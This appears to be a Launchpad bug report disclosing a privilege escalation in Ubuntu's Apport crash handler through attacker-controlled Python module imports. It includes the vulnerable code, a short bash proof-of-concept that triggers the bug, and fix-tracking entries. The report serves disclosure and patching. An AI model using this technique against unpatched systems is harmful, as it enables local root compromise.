Privilege escalation through Python module imports
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
Apport |
Fix Released
|
High
|
Martin Pitt | ||
apport (Ubuntu) |
Fix Released
|
High
|
Martin Pitt | ||
Precise |
Fix Released
|
High
|
Marc Deslauriers | ||
Trusty |
Fix Released
|
High
|
Marc Deslauriers | ||
Vivid |
Fix Released
|
High
|
Marc Deslauriers | ||
Wily |
Fix Released
|
High
|
Marc Deslauriers | ||
Xenial |
Fix Released
|
High
|
Martin Pitt |
Bug Description
Gabriel Campana <email address hidden> reported a security vulnerability in Apport:
ummary
=======
A privilege escalation was discovered in apport.
Details
=======
The command line of the process triggering the coredump is checked to
determine if it's a script. If the interpreter is Python and the first
argument is ``-m``, the method ``_python_
the path of the culprit module
(``/usr/
@classmethod
def _python_
module = module.replace('/', '.')
try:
m = __import__(module)
m
except:
return None
[...]
Any Python module in ``sys.path`` can be imported because the variable
``module`` is under control of the attacker. It should be noted that
``_python_
process name to determine if the process is an interpreter. A crash of
Python isn't required to reach this function: any process name starting
with ``python`` and producing a core dump is enough. As an example, the
following bash script triggers the bug::
#!/bin/bash
cat <<EOF > python.c
int main(void) { *(int *)0 = 0; return 0; }
EOF
gcc -o python python.c
./python -m venv.__main__
and results in the creation of a "lightweight virtual Python
environment" in the root directory::
$ ./lol.sh
./lol.sh: line 8: 7665 Segmentation fault (core dumped)
$ ls -l / | head -4
total 100
drw-rw---- 5 root root 4096 Sep 29 16:09 7665
drwxr-xr-x 2 root root 4096 Sep 29 05:41 bin
drwxr-xr-x 3 root root 4096 Sep 29 06:20 boot
Criticity
=========
Importing an arbitrary module is a security issue because a few standard
modules rely on files in the home directory associated to the uid of the
dumped process. A fully working exploit has been written (targetting
Python2 and Python3), giving an instant root shell to the attacker.
While the exploitation is straightforward for Python2, a bit more work
was required to find a suitable module for Python3.
The vulnerability seems to be limited to Ubuntu Dekstop because apport
is disabled on Ubuntu Server.
Changed in apport: | |
assignee: | nobody → Martin Pitt (pitti) |
importance: | Undecided → High |
status: | New → In Progress |
Changed in apport (Ubuntu Wily): | |
status: | New → Triaged |
Changed in apport (Ubuntu Vivid): | |
status: | New → Triaged |
Changed in apport (Ubuntu Trusty): | |
status: | New → Triaged |
Changed in apport (Ubuntu Precise): | |
status: | New → Triaged |
Changed in apport (Ubuntu Xenial): | |
status: | New → In Progress |
information type: | Private Security → Public Security |
Changed in apport (Ubuntu Xenial): | |
assignee: | Martin Pitt (pitti) → Marc Deslauriers (mdeslaur) |
Changed in apport (Ubuntu Xenial): | |
assignee: | Marc Deslauriers (mdeslaur) → Martin Pitt (pitti) |
status: | In Progress → Fix Committed |
tags: | added: patch |
Changed in apport (Ubuntu Precise): | |
importance: | Undecided → High |
Changed in apport (Ubuntu Trusty): | |
importance: | Undecided → High |
Changed in apport (Ubuntu Vivid): | |
importance: | Undecided → High |
Changed in apport (Ubuntu Wily): | |
importance: | Undecided → High |
Changed in apport (Ubuntu Xenial): | |
importance: | Undecided → High |
Gabriel provided a fix for this, by rewriting _python_ module_ path() in a way to avoid actually importing the module. I created a test case for this which reproduces the issue with unittest.__main__ (which isn't an actual exploit, but sufficient to demonstrate the problem).
Security team, can you please assign a CVE and CRD? Once we agree to this fix, I'll provide backports for earlier Ubuntu stable releases.